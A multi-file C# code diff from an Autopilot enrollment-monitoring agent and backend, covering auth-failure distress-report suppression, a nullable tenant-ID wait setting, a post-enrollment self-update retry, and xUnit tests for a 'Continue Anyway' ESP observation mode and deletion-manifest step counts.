/// dispatch further distress signals. Emits <see cref="ThresholdExceeded"/> the first
/// time either ceiling is crossed; subsequent calls after termination is armed are no-ops.
/// </summary>
public void RecordFailure(int statusCode, string operation)
/// <param name="endpointUnavailable">
/// True when the 401/403 was a platform-level HTML response (stopped/retired app, edge
/// proxy — see <see cref="BackendAuthException.EndpointUnavailable"/>). Suppresses the
/// distress dispatch: the report would go to the very endpoint that just answered with a
/// platform error page, and its DeviceNotRegistered classification would be wrong anyway.
/// Counting and the shutdown thresholds are unaffected. Should a later failure in the
/// same streak come from a live backend, that one still dispatches the streak's report.
/// </param>
public void RecordFailure(int statusCode, string operation, bool endpointUnavailable = false)
{
if (Volatile.Read(ref _thresholdFired) == 1) return;
@@ -102,10 +112,21 @@ namespace AutopilotMonitor.Agent.V2.Core.Security
firstFailureAt = _firstFailureUtc.Value;
}
// V1 parity — only the first consecutive failure produces a distress report. Repeat
// hits at 2..N use the local log only; the backend already knows from the first
// report that the device is unauthorized.
if (count == 1 && _distressReporter != null)
// V1 parity — only one distress report per failure streak. Repeat hits use the local
// log only; the backend already knows from the first report that the device is
// unauthorized. Endpoint-unavailable failures never dispatch (nothing to send to) but
// also never consume the streak's report slot.
if (endpointUnavailable)
{
if (_distressReporter != null && Volatile.Read(ref _distressDispatched) == 0)
{
_logger.Info(
$"AuthFailureTracker: distress report suppressed for {operation} (http {statusCode}) — " +
"endpoint unavailable (platform error page), a report cannot reach a stopped endpoint.");
}
}
else if (_distressReporter != null &&
Interlocked.CompareExchange(ref _distressDispatched, 1, 0) == 0)
{
var distressType = statusCode == 403
? DistressErrorType.DeviceNotRegistered
@@ -89,7 +89,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Security
// Feed the central auth-failure tracker so the first-failure distress dispatches
// and the shutdown threshold advances. V1 parity: no retry on auth-failure —
// backend has definitively rejected the cert/token.
authFailureTracker?.RecordFailure(ex.StatusCode, "agent/register-session");
authFailureTracker?.RecordFailure(ex.StatusCode, "agent/register-session", ex.EndpointUnavailable);
return SessionRegistrationResult.AuthFailed(ex.StatusCode, ex.Message);
}
catch (Exception ex)
@@ -135,7 +135,7 @@ namespace AutopilotMonitor.Agent.V2
$"{(bootstrapTokenGiven ? "*" : "")}, " +
$"tenantId={(string.IsNullOrEmpty(merged.TenantId) ? "no" : "yes")}" +
$"{(tenantIdGiven ? "*" : "")}, " +
$"tenantIdWait={merged.TenantIdWaitSeconds}s" +
$"tenantIdWait={(merged.TenantIdWaitSeconds is int w ? $"{w}s" : "default")}" +
$"{(tenantIdWaitGiven ? "*" : "")})." +
" Star = explicitly set on this --install invocation, others were preserved from prior config.");
}
@@ -361,9 +361,12 @@ namespace AutopilotMonitor.Agent.V2
{
BootstrapToken = bootstrapTokenGiven ? bootstrapTokenArg : existing?.BootstrapToken,
TenantId = tenantIdGiven ? tenantIdArg : existing?.TenantId,
// Not given → carry the prior value through, INCLUDING null. Persisting a
// number here would freeze the agent-side default into the file; persisting
// null keeps "not configured" distinguishable from an explicit opt-out (0).
TenantIdWaitSeconds = tenantIdWaitGiven
? tenantIdWaitSeconds
: (existing?.TenantIdWaitSeconds ?? 600),
: existing?.TenantIdWaitSeconds,
};
}
@@ -339,13 +339,15 @@ namespace AutopilotMonitor.Agent.V2
// over the agent-side default (600 s). Hybrid-AAD-joined devices typically
// need ~5 min for the AAD device cert to land in the registry; 600 s leaves
// headroom. Pass `--tenant-id-wait 0` to opt out (legacy fast-fail).
// A bootstrap-config.json whose TenantIdWaitSeconds is null (file predates the
// property) is "not configured", NOT an opt-out — the default must still apply.
var tenantIdWaitRaw = GetArgValue(args, "--tenant-id-wait");
const int tenantIdWaitDefaultSeconds = 600;
int tenantIdWaitSeconds = tenantIdWaitDefaultSeconds;
if (!string.IsNullOrEmpty(tenantIdWaitRaw) && int.TryParse(tenantIdWaitRaw, out var parsedTenantIdWait))
tenantIdWaitSeconds = parsedTenantIdWait;
else if (bootstrapConfig != null)
tenantIdWaitSeconds = bootstrapConfig.TenantIdWaitSeconds;
else if (bootstrapConfig?.TenantIdWaitSeconds != null)
tenantIdWaitSeconds = bootstrapConfig.TenantIdWaitSeconds.Value;
var useBootstrapTokenAuth = !string.IsNullOrEmpty(bootstrapToken);
@@ -1,6 +1,7 @@
using System;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
using AutopilotMonitor.Agent.V2.Core.Configuration;
using AutopilotMonitor.Agent.V2.Core.Logging;
using AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime;
@@ -121,6 +122,8 @@ namespace AutopilotMonitor.Agent.V2.Runtime
// Await-enrollment is one-shot — remove the persisted config so subsequent restarts proceed normally.
Program.DeleteAwaitEnrollmentConfig(dataDirectory, logger);
RetrySelfUpdateAfterEnrollment(logger, consoleMode);
}
// Event-driven TenantId wait — kicks in only when the user opted-in via
@@ -152,6 +155,81 @@ namespace AutopilotMonitor.Agent.V2.Runtime
isWhiteGloveResume: isWhiteGloveResume,
cleanupServiceFactory: cleanupServiceFactory);
}
/// <summary>
/// Signature of the self-update invocation performed by
/// <see cref="RetrySelfUpdateAfterEnrollment"/> — mirrors the
/// <see cref="SelfUpdater.CheckAndApplyUpdateAsync"/> parameters this path uses.
/// </summary>
internal delegate Task SelfUpdateInvoker(
string currentVersion,
string agentDir,
bool consoleMode,
string triggerReason,
int downloadTimeoutMs,
bool allowDowngrade,
int versionCheckTimeoutMs);
/// <summary>
/// Test seam replacing the real <see cref="SelfUpdater.CheckAndApplyUpdateAsync"/> call
/// in <see cref="RetrySelfUpdateAfterEnrollment"/> (same static-hook idiom as
/// <see cref="SelfUpdater.RequestGracefulShutdown"/>). Only the in-repo test project
/// (InternalsVisibleTo) can set it; production code never assigns this.
/// </summary>
internal static SelfUpdateInvoker UpdateInvokerOverride;
/// <summary>
/// One-shot self-update retry after the MDM certificate appeared. The startup check in
/// <c>Main</c> runs pre-enrollment, where an --await-enrollment install typically has no
/// network yet — its failure says nothing about the latest version. The certificate is
/// proof of connectivity, and this is the last chance to swap a stranded old build
/// (stale baked-in ApiBaseUrl) for a current one BEFORE session registration hits a
/// retired endpoint (field case sits-d.cloud, 2026-08-09). Timeouts are relaxed vs. the
/// boot-speed-tuned startup check; enrollment is already past OOBE's critical path here.
/// On update success the process restarts and this method never returns; the
/// await-enrollment config was already removed, so the new binary proceeds normally.
/// </summary>
internal static void RetrySelfUpdateAfterEnrollment(AgentLogger logger, bool consoleMode)
{
if (SelfUpdater.LastVersionCheckSucceeded)
return; // Startup check reached the manifest — its verdict stands.
try
{
logger.Info("Await-enrollment: startup self-update check had failed (no network in early OOBE) — retrying now that enrollment proves connectivity.");
var agentDir = System.IO.Path.GetDirectoryName(
System.Reflection.Assembly.GetExecutingAssembly().Location) ?? string.Empty;
SelfUpdateInvoker invoke = UpdateInvokerOverride;
if (invoke == null)
{
invoke = (version, dir, console, reason, downloadTimeoutMs, allowDowngrade, versionCheckTimeoutMs) =>
SelfUpdater.CheckAndApplyUpdateAsync(
currentVersion: version,
agentDir: dir,
consoleMode: console,
triggerReason: reason,
downloadTimeoutMsOverride: downloadTimeoutMs,
allowDowngrade: allowDowngrade,
versionCheckTimeoutMsOverride: versionCheckTimeoutMs);
}
invoke(
Program.GetAgentVersion(),
agentDir,
consoleMode,
"await_enrollment",
60000,
// Fresh --await-enrollment installs have no cached remote config yet, so
// there is no admin downgrade override to honour on this path.
false,
10000).GetAwaiter().GetResult();
}
catch (Exception ex)
{
// Same contract as the startup call site: the updater swallows its own errors;
// anything escaping must not break bootstrap — the current binary continues.
logger.Warning($"Await-enrollment: self-update retry failed unexpectedly: {ex.Message}. Continuing with current version.");
}
}
}
/// <summary>
@@ -135,7 +135,8 @@ namespace AutopilotMonitor.Agent.V2.Runtime
uploadBatchSize: uploadBatchSize,
// Live read: remote config is merged into agentConfig mid-session, so the
// trace-event gate must follow it rather than snapshot at construction.
traceEventsEnabled: () => agentConfig.SendTraceEvents))
traceEventsEnabled: () => agentConfig.SendTraceEvents,
espContinueAnywayObservationEnabled: () => agentConfig.EnableEspContinueAnywayObservation))
{
using (var shutdown = new ManualResetEventSlim(false))
using (var shutdownComplete = new ManualResetEventSlim(false))
@@ -102,7 +102,8 @@ namespace AutopilotMonitor.Agent.V2.Runtime
serialNumber: hardware.SerialNumber,
agentVersion: agentVersion,
logger: logger,
clientCertificate: clientCertificate);
clientCertificate: clientCertificate,
isCloudPc: CloudPcDetector.DetectIsCloudPc());
var emergencyReporter = new EmergencyReporter(
apiClient: backendApiClient,
@@ -0,0 +1,383 @@
using System;
using System.Collections.Generic;
using System.Linq;
using AutopilotMonitor.DecisionCore.Engine;
using AutopilotMonitor.DecisionCore.Signals;
using AutopilotMonitor.DecisionCore.State;
using Xunit;
namespace AutopilotMonitor.DecisionCore.Tests
{
/// <summary>
/// Continue-Anyway observation mode (tenant c9787ba2, session 53d1e9f6, 2026-08-08).
/// A Device-phase ESP terminal failure (AccountSetup never entered) on a
/// Continue-Anyway-enabled profile is a hard fail by default; with the tenant opt-in
/// (<c>EspContinueAnywayObservationEnabled</c> observation) it is defanged into a 60-min
/// observation advisory instead. Coverage:
/// <list type="bullet">
/// <item>Defang + 60-min AdvisoryCompletion arming (vs the classic 30-min window).</item>
/// <item>Opt-out / ContinueAnyway-off / self-deploying-scenario regressions still hard-fail.</item>
/// <item>Real-user desktop + Hello-disabled completes eagerly through Finalizing; the
/// terminal enrollment_complete carries the espSoftFailure marker.</item>
/// <item>Window expiry without desktop un-defangs to esp_terminal_failure.</item>
/// <item>Deadline fire with desktop but unknown Hello promotes to AwaitingHello.</item>
/// <item>Category recovery ("Try again") resolves the advisory (classic 4910a5a5 hook).</item>
/// </list>
/// </summary>
public sealed class ContinueAnywayObservationTests
{
private static readonly DateTime T0 = new DateTime(2026, 8, 7, 15, 16, 0, DateTimeKind.Utc);
private static DecisionSignal MakeSignal(
long ordinal,
DecisionSignalKind kind,
DateTime occurredAtUtc,
IReadOnlyDictionary<string, string>? payload = null,
string sourceOrigin = "test")
{
return new DecisionSignal(
sessionSignalOrdinal: ordinal,
sessionTraceOrdinal: ordinal,
kind: kind,
kindSchemaVersion: 1,
occurredAtUtc: occurredAtUtc,
sourceOrigin: sourceOrigin,
evidence: new Evidence(EvidenceKind.Synthetic, $"{kind}-{ordinal}", "test"),
payload: payload);
}
private static DecisionSignal DeadlineFired(long ordinal, DateTime occurredAtUtc, string deadlineName) =>
MakeSignal(ordinal, DecisionSignalKind.DeadlineFired, occurredAtUtc,
new Dictionary<string, string> { [SignalPayloadKeys.Deadline] = deadlineName });
private static DecisionEffect SingleTimelineEffect(DecisionStep step, string eventType) =>
step.Effects.Single(e =>
e.Kind == DecisionEffectKind.EmitEventTimelineEntry
&& e.Parameters != null
&& e.Parameters.TryGetValue("eventType", out var et)
&& et == eventType);
private static ActiveDeadline? FindDeadline(DecisionState state, string name) =>
state.Deadlines.FirstOrDefault(d => d.Name == name);
/// <summary>
/// Replays the session-53d1e9f6 shape up to (but excluding) the ESP terminal failure:
/// Continue-Anyway profile with the tenant observation opt-in stamped into the
/// EspConfigDetected payload, Hello policy disabled, DeviceSetup entered —
/// AccountSetup never reached (the 30-min Device-ESP wall kills it first).
/// </summary>
private static DecisionState SetupObservationEligibleSession(
DecisionEngine engine,
bool observationOptIn = true,
bool continueAnyway = true,
bool helloPolicyDisabled = true)
{
var state = DecisionState.CreateInitial("sess-53d1e9f6", "tenant-c9787ba2", T0);
state = engine.Reduce(state, MakeSignal(0, DecisionSignalKind.SessionStarted, T0)).NewState;
var espConfig = new Dictionary<string, string>
{
[SignalPayloadKeys.SkipUserEsp] = "false",
[SignalPayloadKeys.SkipDeviceEsp] = "false",
[SignalPayloadKeys.EspSyncFailureTimeoutMinutes] = "30",
[SignalPayloadKeys.EspAllowContinueAnyway] = continueAnyway ? "true" : "false",
};
if (observationOptIn)
{
espConfig[SignalPayloadKeys.EspContinueAnywayObservationEnabled] = "true";
}
state = engine.Reduce(state, MakeSignal(
5, DecisionSignalKind.EspConfigDetected, T0.AddMinutes(1), espConfig)).NewState;
if (helloPolicyDisabled)
{
state = engine.Reduce(state, MakeSignal(
8, DecisionSignalKind.HelloPolicyDetected, T0.AddMinutes(1),
new Dictionary<string, string> { [SignalPayloadKeys.HelloEnabled] = "false" })).NewState;
}
state = engine.Reduce(state, MakeSignal(
10, DecisionSignalKind.EspPhaseChanged, T0.AddMinutes(2),
new Dictionary<string, string> { [SignalPayloadKeys.EspPhase] = "DeviceSetup" })).NewState;
return state;
}
private static DecisionStep ApplyDeviceSetupTerminalFailure(DecisionEngine engine, DecisionState state, long ordinal = 50) =>
engine.Reduce(state, MakeSignal(
ordinal, DecisionSignalKind.EspTerminalFailure, T0.AddMinutes(38),
new Dictionary<string, string>
{
["failureType"] = "Provisioning_DeviceSetup_Certificates_Failed",
["failedSubcategory"] = "Certificates",
["category"] = "DeviceSetup",
}));
// ============================================================ defang path ====
[Fact]
public void DeviceSetupFailure_WithOptIn_DefangsToObservationAdvisory()
{
var engine = new DecisionEngine();
var state = SetupObservationEligibleSession(engine);
Assert.Null(state.AccountSetupEnteredUtc);
var preStage = state.Stage;
var step = ApplyDeviceSetupTerminalFailure(engine, state);
// No terminal — stage unchanged, advisory anchored, no LastFailureTrigger.
Assert.Equal(preStage, step.NewState.Stage);
Assert.Null(step.NewState.Outcome);
Assert.NotNull(step.NewState.EspAdvisoryFailureRecordedUtc);
Assert.Equal("DeviceSetup", step.NewState.EspAdvisoryFailureCategory!.Value);
Assert.Null(step.NewState.LastFailureTrigger);
var advisory = SingleTimelineEffect(step, "esp_failure_advisory");
Assert.Equal("esp_failure_defanged_continueanyway_observation", advisory.Parameters!["advisoryReason"]);
Assert.Equal("Warning", advisory.Parameters!["severity"]);
Assert.Equal("true", advisory.Parameters!["mayHaveContinuedAnyway"]);
Assert.DoesNotContain(step.Effects, e =>
e.Parameters != null
&& e.Parameters.TryGetValue("eventType", out var et)
&& et == "enrollment_failed");
}
[Fact]
public void DeviceSetupFailure_WithOptIn_Arms60MinObservationWindow()
{
var engine = new DecisionEngine();
var state = SetupObservationEligibleSession(engine);
var step = ApplyDeviceSetupTerminalFailure(engine, state);
var deadline = FindDeadline(step.NewState, DeadlineNames.AdvisoryCompletion);
Assert.NotNull(deadline);
// 60-min observation window (user decision 2026-08-08) — NOT the classic 30-min
// advisory-completion window.
Assert.Equal(T0.AddMinutes(38).AddMinutes(60), deadline!.DueAtUtc);
}
// ==================================================== negative / regression ====
[Fact]
public void DeviceSetupFailure_WithoutOptIn_StillHardFails()
{
var engine = new DecisionEngine();
var state = SetupObservationEligibleSession(engine, observationOptIn: false);
var step = ApplyDeviceSetupTerminalFailure(engine, state);
Assert.Equal(SessionStage.Failed, step.NewState.Stage);
Assert.Equal(SessionOutcome.EnrollmentFailed, step.NewState.Outcome);
Assert.Null(step.NewState.EspAdvisoryFailureRecordedUtc);
SingleTimelineEffect(step, "enrollment_failed");
}
[Fact]
public void DeviceSetupFailure_WithOptIn_ButContinueAnywayDisabled_StillHardFails()
{
// The observation only makes sense when the ESP profile actually offers the
// "Continue anyway" button — without it the user cannot reach the desktop.
var engine = new DecisionEngine();
var state = SetupObservationEligibleSession(engine, continueAnyway: false);
var step = ApplyDeviceSetupTerminalFailure(engine, state);
Assert.Equal(SessionStage.Failed, step.NewState.Stage);
Assert.Null(step.NewState.EspAdvisoryFailureRecordedUtc);
SingleTimelineEffect(step, "enrollment_failed");
}
[Fact]
public void DeviceSetupFailure_WithOptIn_OnSelfDeployingProfile_StillHardFails()
{
// Scope gate: self-deploying/kiosk flows have no interactive user who could press
// "Continue anyway" — observation would only ever expire. Immediate fail is truthful.
var engine = new DecisionEngine();
var state = SetupObservationEligibleSession(engine);
state = engine.Reduce(state, MakeSignal(
20, DecisionSignalKind.EnrollmentFactsObserved, T0.AddMinutes(3),
new Dictionary<string, string> { [SignalPayloadKeys.IsSelfDeployingProfile] = "true" })).NewState;
var step = ApplyDeviceSetupTerminalFailure(engine, state);
Assert.Equal(SessionStage.Failed, step.NewState.Stage);
Assert.Null(step.NewState.EspAdvisoryFailureRecordedUtc);
}
[Fact]
public void ClassicAdvisory_WithAccountSetupEntered_KeepsClassicReasonAndWindow()
{
// Regression: the opt-in must not change the classic post-AccountSetup advisory —
// same advisoryReason literal, same 30-min window.
var engine = new DecisionEngine();
var state = SetupObservationEligibleSession(engine);
state = engine.Reduce(state, MakeSignal(
20, DecisionSignalKind.EspPhaseChanged, T0.AddMinutes(17),
new Dictionary<string, string> { [SignalPayloadKeys.EspPhase] = "AccountSetup" })).NewState;
Assert.NotNull(state.AccountSetupEnteredUtc);
var step = ApplyDeviceSetupTerminalFailure(engine, state);
var advisory = SingleTimelineEffect(step, "esp_failure_advisory");
Assert.Equal("esp_failure_defanged_continueanyway_with_accountsetup", advisory.Parameters!["advisoryReason"]);
var deadline = FindDeadline(step.NewState, DeadlineNames.AdvisoryCompletion);
Assert.Equal(T0.AddMinutes(38).AddMinutes(30), deadline!.DueAtUtc);
}
// ========================================== real end: desktop completion ====
[Fact]
public void ObservationAdvisory_ThenRealUserDesktop_CompletesThroughFinalizing()
{
var engine = new DecisionEngine();
var state = SetupObservationEligibleSession(engine);
state = ApplyDeviceSetupTerminalFailure(engine, state).NewState;
// User pressed "Continue anyway" → signed in → DAD-validated real-user desktop.
var step = engine.Reduce(state, MakeSignal(
60, DecisionSignalKind.DesktopArrived, T0.AddMinutes(42)));
Assert.Equal(SessionStage.Finalizing, step.NewState.Stage);
Assert.Contains(":ContinueAnywayObservation", step.Transition.Trigger);
// Hello disabled → synthetic skip recorded by the fast-path.
Assert.NotNull(step.NewState.HelloResolvedUtc);
Assert.NotNull(FindDeadline(step.NewState, DeadlineNames.FinalizingGrace));
}
[Fact]
public void ObservationCompletion_EnrollmentComplete_CarriesEspSoftFailureMarker()
{
var engine = new DecisionEngine();
var state = SetupObservationEligibleSession(engine);
state = ApplyDeviceSetupTerminalFailure(engine, state).NewState;
state = engine.Reduce(state, MakeSignal(
60, DecisionSignalKind.DesktopArrived, T0.AddMinutes(42))).NewState;
Assert.Equal(SessionStage.Finalizing, state.Stage);
var step = engine.Reduce(state, DeadlineFired(70, T0.AddMinutes(42.1), DeadlineNames.FinalizingGrace));
Assert.Equal(SessionStage.Completed, step.NewState.Stage);
Assert.Equal(SessionOutcome.EnrollmentComplete, step.NewState.Outcome);
var complete = SingleTimelineEffect(step, "enrollment_complete");
var payload = Assert.IsType<Dictionary<string, object>>(complete.TypedPayload);
Assert.Equal("true", payload["espSoftFailure"]);
Assert.Equal("continue_anyway_observation", payload["completionSource"]);
Assert.Equal("DeviceSetup", payload["espSoftFailureCategory"]);
}
[Fact]
public void CleanCompletion_EnrollmentComplete_OmitsEspSoftFailureMarker()
{
// A session without any advisory must not carry the marker — regression guard for
// the BuildEnrollmentCompleteEffect change.
var engine = new DecisionEngine();
var state = SetupObservationEligibleSession(engine);
state = engine.Reduce(state, MakeSignal(
20, DecisionSignalKind.EspPhaseChanged, T0.AddMinutes(17),
new Dictionary<string, string> { [SignalPayloadKeys.EspPhase] = "AccountSetup" })).NewState;
state = engine.Reduce(state, MakeSignal(
30, DecisionSignalKind.AccountSetupProvisioningComplete, T0.AddMinutes(20))).NewState;
state = engine.Reduce(state, MakeSignal(
40, DecisionSignalKind.DesktopArrived, T0.AddMinutes(21))).NewState;
Assert.Equal(SessionStage.Finalizing, state.Stage);
var step = engine.Reduce(state, DeadlineFired(50, T0.AddMinutes(21.1), DeadlineNames.FinalizingGrace));
Assert.Equal(SessionStage.Completed, step.NewState.Stage);
var complete = SingleTimelineEffect(step, "enrollment_complete");
var payload = Assert.IsType<Dictionary<string, object>>(complete.TypedPayload);
Assert.False(payload.ContainsKey("espSoftFailure"));
Assert.False(payload.ContainsKey("completionSource"));
}
// =============================================== window expiry / deadline ====
[Fact]
public void ObservationWindow_ExpiresWithoutDesktop_UnDefangsToEspTerminalFailure()
{
var engine = new DecisionEngine();
var state = SetupObservationEligibleSession(engine);
state = ApplyDeviceSetupTerminalFailure(engine, state).NewState;
Assert.Null(state.DesktopArrivedUtc);
var step = engine.Reduce(state, DeadlineFired(60, T0.AddMinutes(98), DeadlineNames.AdvisoryCompletion));
Assert.Equal(SessionStage.Failed, step.NewState.Stage);
Assert.Equal(SessionOutcome.EnrollmentFailed, step.NewState.Outcome);
// The failure cause IS the original ESP failure — same reason literal, likely-stuck
// promotion stays armed via LastFailureTrigger=EspTerminalFailure.
Assert.Equal(nameof(DecisionSignalKind.EspTerminalFailure), step.NewState.LastFailureTrigger!.Value);
var failed = SingleTimelineEffect(step, "enrollment_failed");
Assert.Equal("esp_terminal_failure", failed.Parameters!["reason"]);
Assert.Equal(
"continue_anyway_observation_window_expired_without_completion_evidence",
failed.Parameters!["advisoryReason"]);
}
[Fact]
public void ObservationWindow_FiresWithDesktopAndDisabledHello_CompletesInsteadOfFailing()
{
// Ordering variant: desktop arrived but (hypothetically) no eager completion ran —
// the deadline-fire conjunction must accept desktop + hello for the observation
// variant without the (structurally impossible) IME user-session gate.
var engine = new DecisionEngine();
var state = SetupObservationEligibleSession(engine, helloPolicyDisabled: false);
state = ApplyDeviceSetupTerminalFailure(engine, state).NewState;
// Hello policy lands AFTER the failure; desktop arrives; no eager completion since
// the fast-path needs the policy fact at desktop-arrival time.
state = engine.Reduce(state, MakeSignal(
60, DecisionSignalKind.DesktopArrived, T0.AddMinutes(42))).NewState;
Assert.NotEqual(SessionStage.Finalizing, state.Stage);
state = engine.Reduce(state, MakeSignal(
65, DecisionSignalKind.HelloPolicyDetected, T0.AddMinutes(43),
new Dictionary<string, string> { [SignalPayloadKeys.HelloEnabled] = "false" })).NewState;
var step = engine.Reduce(state, DeadlineFired(70, T0.AddMinutes(98), DeadlineNames.AdvisoryCompletion));
Assert.Equal(SessionStage.Finalizing, step.NewState.Stage);
Assert.Null(step.NewState.Outcome);
Assert.NotNull(FindDeadline(step.NewState, DeadlineNames.FinalizingGrace));
}
[Fact]
public void ObservationWindow_FiresWithDesktopButUnknownHello_PromotesToAwaitingHello()
{
// Hello policy never observed (no PassportForWork value) — the hello prerequisite is
// structurally unresolvable. The never-observed promote must apply to the observation
// variant instead of failing a desktop-proven session.
var engine = new DecisionEngine();
var state = SetupObservationEligibleSession(engine, helloPolicyDisabled: false);
state = ApplyDeviceSetupTerminalFailure(engine, state).NewState;
state = engine.Reduce(state, MakeSignal(
60, DecisionSignalKind.DesktopArrived, T0.AddMinutes(42))).NewState;
Assert.Null(state.HelloPolicyEnabled);
var step = engine.Reduce(state, DeadlineFired(70, T0.AddMinutes(98), DeadlineNames.AdvisoryCompletion));
Assert.Equal(SessionStage.AwaitingHello, step.NewState.Stage);
Assert.Null(step.NewState.Outcome);
Assert.NotNull(FindDeadline(step.NewState, DeadlineNames.HelloSafety));
}
// ======================================================= category recovery ====
[Fact]
public void ObservationAdvisory_DeviceSetupRecovery_ResolvesAdvisory()
{
// "Try again" path: the ESP re-runs the device phase and DeviceSetup resolves to
// success — the 4910a5a5 recovery hook must match the observation advisory too.
var engine = new DecisionEngine();
var state = SetupObservationEligibleSession(engine);
state = ApplyDeviceSetupTerminalFailure(engine, state).NewState;
var step = engine.Reduce(state, MakeSignal(
60, DecisionSignalKind.DeviceSetupProvisioningComplete, T0.AddMinutes(55)));
Assert.NotNull(step.NewState.EspAdvisoryFailureResolvedUtc);
Assert.Contains(step.Effects, e =>
e.Parameters != null
&& e.Parameters.TryGetValue("eventType", out var et)
&& et == "esp_failure_advisory_resolved");
}
}
}
@@ -8,6 +8,11 @@
</PropertyGroup>
<ItemGroup>
<!-- Same compile context as the product project: with the shared framework referenced,
NuGet prunes framework-provided transitive packages (e.g. the vulnerable
DataProtection/Cryptography.Xml 10.0.0 pulled in via Microsoft.Identity.Web),
which would otherwise surface NU1903/NU1904 advisories here. -->
<FrameworkReference Include="Microsoft.AspNetCore.App" />
<PackageReference Include="Microsoft.NET.Test.Sdk" Version="17.11.1" />
<PackageReference Include="Moq" Version="4.20.72" />
<PackageReference Include="xunit" Version="2.9.2" />
@@ -47,7 +47,7 @@ public class CriticalTableBackupServiceTests
Assert.Equal(BackupOutcome.Success, result.Outcome);
Assert.True(store.ManifestWritten, "manifest must be written LAST");
Assert.Equal(17, result.Manifest.Tables.Count); // critical-tables catalog count (incl. DelegatedAdmins + ConfigurationBackups)
Assert.Equal(18, result.Manifest.Tables.Count); // critical-tables catalog count (incl. DelegatedAdmins + ConfigurationBackups + SessionAnnotations)
Assert.All(result.Manifest.Tables, t =>
Assert.True(t.Status == TableBackupStatus.Ok || t.Status == TableBackupStatus.Empty));
}
@@ -75,9 +75,9 @@ public class DeletionManifestBuilderTests
Assert.Equal(2, c["classifierVerdictsByIdLevel"]);
Assert.Equal(11, c["signalsByKind"]);
// 16 cascade tables (incl. SessionTimeBreakdowns, F1 PR2) + tombstone = 17 steps;
// no inventory steps when no contributions row.
Assert.Equal(17, manifest.Steps.Count);
// 19 cascade tables (incl. SessionTimeBreakdowns F1 PR2 + 3 SessionAnnotations lanes)
// + tombstone = 20 steps; no inventory steps when no contributions row.
Assert.Equal(20, manifest.Steps.Count);
Assert.Equal(DeletionStepClass.Final, manifest.Steps.Last().Class);
}
@@ -104,7 +104,8 @@ public class DeletionManifestBuilderTests
.WithDeadEndsByReason(1, propValue: "deadend_marker")
.WithClassifierVerdictsByIdLevel(1, propValue: "classifier_marker")
.WithSignalsByKind(1, propValue: "signalkind_marker")
.WithSessionTimeBreakdown(propValue: "breakdown_marker"));
.WithSessionTimeBreakdown(propValue: "breakdown_marker")
.WithSessionAnnotations(propValue: "annotation_marker"));
var manifest = await NewBuilder(reader).BuildAsync(
TenantId, SessionId, "admin_delete",
@@ -147,8 +148,9 @@ public class DeletionManifestBuilderTests
new DeletionRetentionContext { TenantRetentionDays = 90 });
var nonTombstoneSteps = manifest.Steps.Where(s => s.Class != DeletionStepClass.Final).ToList();
// Without a contributions row, neither inventory step is emitted → exactly 16 cascade-table steps.
Assert.Equal(16, nonTombstoneSteps.Count);
// Without a contributions row, neither inventory step is emitted → exactly 19 cascade-table steps
// (16 + the 3 SessionAnnotations lane steps).
Assert.Equal(19, nonTombstoneSteps.Count);
foreach (var step in nonTombstoneSteps)
{
Assert.Equal(0, step.RowCount);
@@ -177,8 +179,8 @@ public class DeletionManifestBuilderTests
new DeletionActor { Type = "admin", Actor = "alice@example.com" },
new DeletionRetentionContext { TenantRetentionDays = 90 });
// Expect: 16 cascade + 2 inventory + 1 tombstone = 19 steps.
Assert.Equal(19, manifest.Steps.Count);
// Expect: 19 cascade + 2 inventory + 1 tombstone = 22 steps.
Assert.Equal(22, manifest.Steps.Count);
var aggregate = manifest.Steps.Single(s => s.Class == DeletionStepClass.Aggregate);
Assert.Equal(DeletionStepNames.SoftwareInventoryDecrement, aggregate.Step);
@@ -229,7 +231,7 @@ public class DeletionManifestBuilderTests
[Fact]
public async Task Build_omits_inventory_steps_when_no_side_row()
{
// The default reader returns no inventory row → 15 cascade + 1 tombstone, no inventory steps.
// The default reader returns no inventory row → 19 cascade + 1 tombstone, no inventory steps.
var reader = NewReader(seed => seed.WithSessionsRow().WithSessionsIndexRow());
var manifest = await NewBuilder(reader).BuildAsync(
@@ -644,6 +646,7 @@ public class DeletionManifestBuilderTests
private TableEntity? _eventSessionIndex;
private TableEntity? _sessionTimeBreakdown;
private TableEntity? _sessionInventoryContributions;
private readonly Dictionary<string, TableEntity> _sessionAnnotations = new(StringComparer.Ordinal);
private string _sessionsIndexRowKey = "INDEX_" + SessionId;
public ReaderSeed WithSessionsRow(string? diagnosticsBlobName = null)
@@ -774,6 +777,23 @@ public class DeletionManifestBuilderTests
public ReaderSeed WithClassifierVerdictsByIdLevel(int n, string propValue = "cls") => SeedDiscriminatorPkProp(Constants.TableNames.ClassifierVerdictsByIdLevel, n, propValue, "EspApps_High");
public ReaderSeed WithSignalsByKind(int n, string propValue = "sk") => SeedDiscriminatorPkProp(Constants.TableNames.SignalsByKind, n, propValue, "EspPhaseChanged");
public ReaderSeed WithSessionAnnotations(string propValue = "anno")
{
// One row per lane — the builder emits one exact-RK step per lane.
foreach (var lane in AutopilotMonitor.Shared.Models.AnnotationLanes.All)
{
var e = new TableEntity(TenantId, $"{SessionId}_{lane}")
{
["Marker"] = propValue,
["SessionId"] = SessionId,
["Lane"] = lane,
};
e.ETag = new ETag("0xANNO" + lane);
_sessionAnnotations[lane] = e;
}
return this;
}
public ReaderSeed WithSessionInventoryContributions(TableEntity row)
{
_sessionInventoryContributions = row;
@@ -813,6 +833,11 @@ public class DeletionManifestBuilderTests
.ReturnsAsync(_sessionTimeBreakdown);
reader.Setup(r => r.GetEntityOrNullAsync(Constants.TableNames.SessionInventoryContributions, TenantId, SessionId, It.IsAny<CancellationToken>()))
.ReturnsAsync(_sessionInventoryContributions);
foreach (var (lane, row) in _sessionAnnotations)
{
reader.Setup(r => r.GetEntityOrNullAsync(Constants.TableNames.SessionAnnotations, TenantId, $"{SessionId}_{lane}", It.IsAny<CancellationToken>()))
.ReturnsAsync(row);
}
// QueryAsync: per-table seeded list, otherwise empty.
reader.Setup(r => r.QueryAsync(It.IsAny<string>(), It.IsAny<string>(), It.IsAny<CancellationToken>()))
@@ -0,0 +1,51 @@
using System.Security.Claims;
using AutopilotMonitor.Functions.Helpers;
namespace AutopilotMonitor.Functions.Tests;
/// <summary>
/// Pins the claim precedence behind gather-rule Author stamping
/// (<see cref="TenantHelper.GetUserDisplayName(ClaimsPrincipal)"/>): display name
/// first, then UPN/email/preferred_username; null for anonymous/app-only callers
/// so CreateGatherRule falls back to the model default "Autopilot Monitor".
/// </summary>
public class GatherRuleAuthorStampingTests
{
